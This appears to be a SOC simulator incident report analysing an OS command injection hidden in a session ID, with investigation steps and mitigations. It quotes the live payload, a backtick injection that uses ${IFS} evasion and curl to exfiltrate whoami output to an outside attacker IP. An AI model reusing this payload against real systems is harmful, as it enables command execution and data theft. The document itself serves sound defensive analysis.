**Report 3: OS Command Injection via Session ID**

**Title**: OS Command Injection Using Manipulated Session ID  
**Date**: May 30, 2025  
**Platform**: Let’s Defend SOC Simulator  
**Severity**: Critical  
**Detection** Tool: Chronicle SIEM  
**Category**: Injection

**Steps Taken:**

* Investigated unusual query logs in Chronicle SIEM
* Detected this payload in the session ID field:
  + SESSID=./../../../opt/panlogs/tmp/device\_telemetry/hour/aaa\`curl${IFS}144.172.79.92:4444?user=$(whoami)`
* Scanned source IP (144.172.79.92) in VirusTotal
  + Flagged as malicious on VirusTotal
  + GeoIP: United States
* Verified that destination IP 172.16.17.139 had outbound connections to the attacker's server
* Evidence suggests the command was executed and the output exfiltrated

**Final Assessment:**  
 **True Positive**. Command injection vulnerability allowed the attacker to execute shell commands (whoami) and exfiltrate data via curl.

**Mitigation Recommendations:**

* Block outbound connections to 144.172.79.92 and related malicious IPs
* Isolate affected internal host 172.16.17.139
* Harden web applications by validating user input and disabling command injection vectors (e.g., backticks, ${IFS})
* Deploy a Web Application Firewall (WAF) to detect command patterns
* Conduct full system forensics on the affected host